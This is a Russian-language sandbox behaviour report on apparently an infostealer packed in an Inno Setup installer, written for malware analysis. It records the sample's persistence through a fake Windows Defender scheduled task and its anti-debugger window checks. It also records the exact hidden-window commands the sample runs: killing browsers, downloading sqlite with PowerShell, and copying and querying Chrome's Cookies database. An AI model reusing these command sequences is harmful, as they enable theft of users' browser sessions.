Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\windows defender scheduled scan 162.6.1835.49 {256.0.7749.36 s-1-5-21-1000-7c0b9ffb}
Вредоносные функции
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /f /im chrome.exe
- '<SYSTEM32>\taskkill.exe' /f /im msedge.exe
- '<SYSTEM32>\taskkill.exe' /f /im brave.exe
- '<SYSTEM32>\taskkill.exe' /f /im duckduckgo.exe
- '<SYSTEM32>\taskkill.exe' /f /im firefox.exe
Завершает или пытается завершить
следующие пользовательские процессы:
- firefox.exe
Ищет следующие окна с целью
обнаружения утилит для анализа:
- ClassName: 'OLLYDBG', WindowName: ''
- ClassName: 'PROCMON_WINDOW_CLASS', WindowName: ''
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\is-kp5nd.tmp\<Имя файла>.tmp
- %TEMP%\is-b7t0s.tmp\_isetup\_setup64.tmp
- %TEMP%\is-b7t0s.tmp\_isetup\_isdecmp.dll
- %TEMP%\is-ca6un.tmp\<Имя файла>.tmp
- %TEMP%\is-5sp0k.tmp\_isetup\_setup64.tmp
- %TEMP%\is-5sp0k.tmp\_isetup\_isdecmp.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-u44ac.tmp
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-t960c.tmp
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-ph48i.tmp
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-t4gkn.tmp
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-bb01p.tmp
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-4vckd.tmp
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-72h7m.tmp
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-r2cnc.tmp
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-m9ki3.tmp
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-19rks.tmp
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-ns6l3.tmp
- %TEMP%\chromeb_dca3df7d-vhpmbc\system.txt
- %TEMP%\chromeb_dca3df7d-vhpmbc\processes.txt
- %TEMP%\chromeb_dca3df7d-vhpmbc\temp_processes.csv
- nul
- %TEMP%\chromeb_dca3df7d-vhpmbc\logs\chrome\default\sqlite3.exe.zip
Присваивает атрибут 'скрытый' для следующих файлов
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\eguidemeter.sys
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\fnhotkeyutility.exe
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\ludp.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\mpoav.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\mpsensecomm.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\mpupdate.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\mpuxagent.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\msvcp140.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\spkvol.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\vcruntime140.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\vcruntime140_1.dll
Удаляет файлы, которые сам же создал
- %TEMP%\is-b7t0s.tmp\_isetup\_isdecmp.dll
- %TEMP%\is-b7t0s.tmp\_isetup\_setup64.tmp
- %TEMP%\is-kp5nd.tmp\<Имя файла>.tmp
- %TEMP%\is-5sp0k.tmp\_isetup\_isdecmp.dll
- %TEMP%\is-5sp0k.tmp\_isetup\_setup64.tmp
- %TEMP%\is-ca6un.tmp\<Имя файла>.tmp
- %TEMP%\chromeb_dca3df7d-vhpmbc\temp_processes.csv
- %TEMP%\chromeb_dca3df7d-vhpmbc\logs\chrome\default\sqlite3.exe.zip
Перемещает следующие файлы
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-u44ac.tmp в %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\eguidemeter.sys
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-t960c.tmp в %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\fnhotkeyutility.exe
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-ph48i.tmp в %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\ludp.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-t4gkn.tmp в %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\mpoav.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-bb01p.tmp в %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\mpsensecomm.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-4vckd.tmp в %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\mpupdate.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-72h7m.tmp в %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\mpuxagent.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-r2cnc.tmp в %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\msvcp140.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-m9ki3.tmp в %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\spkvol.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-19rks.tmp в %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\vcruntime140.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-ns6l3.tmp в %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\vcruntime140_1.dll
Сетевая активность
Подключается к
- 'il###boats9.vip':443
- 'x1.#.lencr.org':80
- 'e7.#.lencr.org':80
- 'sq##te.org':443
TCP
Запросы HTTP GET
- http://e7.#.lencr.org/43.crl
Другие
- 'il###boats9.vip':443
- 'sq##te.org':443
UDP
- DNS ASK mo#####.map.fastly.net
- DNS ASK il###boats9.vip
- DNS ASK x1.#.lencr.org
- DNS ASK e7.#.lencr.org
- DNS ASK sq##te.org
Другое
Ищет следующие окна
- ClassName: 'Lenovo_Utility_Window' WindowName: ''
- ClassName: '' WindowName: ''
- ClassName: 'WinDbgFrameClass' WindowName: ''
- ClassName: 'SunAwtFrame' WindowName: ''
- ClassName: 'IMDBG_CLASS' WindowName: ''
- ClassName: 'HxD' WindowName: ''
Создает и запускает на исполнение
- '%TEMP%\is-kp5nd.tmp\<Имя файла>.tmp' /SL5="$E01B4,5021146,1139712,<Полный путь к файлу>"
- '%TEMP%\is-ca6un.tmp\<Имя файла>.tmp' /SL5="$1001C4,5021146,1139712,<Полный путь к файлу>" /VERYSILENT /PASSWORD=06d30ec6-d95f-40f0-af25-6ca03119c33b
- '%ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\fnhotkeyutility.exe' -ScanType
Перезапускает анализируемый образец
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c tasklist /fo csv > "%TEMP%\ChromeB_dca3df7d-vhpmbc\temp_processes.csv" (со скрытым окном)
- '<SYSTEM32>\tasklist.exe' /fo csv
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im chrome.exe 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im msedge.exe 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im brave.exe 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im duckduckgo.exe 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im firefox.exe 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Invoke-WebRequest -Uri 'https://www.sqlite.org/2024/sqlite-tools-win-x64-3460000.zip' -OutFile '%TEMP%\ChromeB_dca3df7d-vhpmbc\Logs\Chrome\Default\sqlite3.exe.zip' -UseB... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest -Uri 'https://www.sqlite.org/2024/sqlite-tools-win-x64-3460000.zip' -OutFile '%TEMP%\ChromeB_dca3df7d-vhpmbc\Logs\Chrome\Default\sqlite3.exe.zip' -UseBasicParsing; E...
- '<SYSTEM32>\cmd.exe' /c copy /Y "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies" "C:\temp_cookies.db" >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c copy /Y "%TEMP%\ChromeB_dca3df7d-vhpmbc\Logs\Chrome\Default\sqlite3.exe" "C:\temp_sqlite3.exe" >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c C:\temp_sqlite3.exe -separator "|" C:\temp_cookies.db "SELECT host_key, CASE WHEN host_key LIKE '.%' THEN 'TRUE' ELSE 'FALSE' END, path, CASE WHEN is_secure = 1 THEN 'TRUE' ELSE 'FALSE' END,... (со скрытым окном)
- '<Полный путь к файлу>' /VERYSILENT /PASSWORD=06d30ec6-d95f-40f0-af25-6ca03119c33b (со скрытым окном)
- '%ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\fnhotkeyutility.exe' -ScanType (со скрытым окном)
